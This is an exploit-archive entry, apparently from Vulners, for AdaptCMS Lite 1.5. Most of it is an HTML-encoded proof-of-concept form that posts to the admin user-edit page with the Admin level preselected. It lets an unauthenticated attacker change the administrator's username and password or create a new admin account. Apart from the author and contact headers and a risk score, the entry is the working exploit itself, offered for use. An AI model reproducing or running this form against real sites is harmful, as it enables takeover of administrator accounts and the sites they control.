AdaptCMS_Lite_1.5 2009-07-07

🗓️ 01 Jul 2014 00:00:00Reported by RootType
AdaptCMS_Lite_1.5 2009-07-07 change admin (user,passwd) & add new admin user exploi

                                                ===========================================================================
( #Topic : AdaptCMS_Lite_1.5 2009-07-07
( #Bug type : change admin (user,passwd) & add new admin user exploit
( #Download :
http://sourceforge.net/projects/adaptcms/files/AdaptCMS%20Lite%20v1/1.5/AdaptCMS_Lite_1.5.zip/download
( #Advisory :
===========================================================================
( #Author : ItSecTeam
( #Email : [email protected] #
( #Website: http://www.itsecteam.com #
( #Forum : http://forum.ITSecTeam.com #
( #Original Advisory:
www.ITSecTeam.com/en/vulnerabilities/vulnerability28.htm
( #Special Tnx : ahmadbady , [email protected] And All Team Members!

---------------------------------------------------------------------
exploit:

&#60;html&#62;
&#60;head&#62;
&#60;body&#62;
&#60;h2&#62;coded by ahmadbady&#60;/h2&#62;
&#60;form action=&#39;admin.php?view=edit_users2&id=1&#39; method=&#39;post&#39;&#62;
&#60;table cellpadding=&#39;5&#39; cellspacing=&#39;0&#39; border=&#39;0&#39; width=&#39;480&#39;
style=&#39;padding-left:5px&#39; align=&#39;left&#39;&#62;
&#60;tr&#62;&#60;td&#62;Username&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;text&#39; name=&#39;username1&#39; size=&#39;16&#39;
value=&#39;anything&#39;
style=&#39;font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px&#39;&#62;
&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td&#62;New Password?&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;text&#39;
name=&#39;password1&#39; size=&#39;16&#39;
style=&#39;font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px&#39;&#62;
&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td&#62;E-Mail&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;text&#39; name=&#39;email1&#39;
size=&#39;16&#39; value=&#39;anything&#39;
style=&#39;font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px&#39;&#62;
&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td&#62;Level&#60;/td&#62;&#60;td&#62;&#60;select name=&#39;level&#39; style=&#39;font-family:
tahoma;
font-size: 11px; border: 1px solid #444444;padding-left:1px&#39;&#62;&#60;option
value=&#39;Admin&#39;
selected&#62;Admin - Level 1&#60;/option&#62;&#60;option value=&#39;Member&#39;&#62;Member - Level
3&#60;/option&#62;
&#60;option value=&#39;Staff&#39;&#62;Staff - Level 2&#60;/option&#62;&#60;/select&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td&#62;
&#60;input type=&#39;submit&#39; value=&#39;Update User&#39;
style=&#39;font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px&#39;&#62;
&#60;/td&#62;
&#60;/tr&#62;&#60;/table&#62;&#60;/form&#62; &#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;
&#60;/body&#62;
&#60;/html&#62;
---------------------------------------------------------------------
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1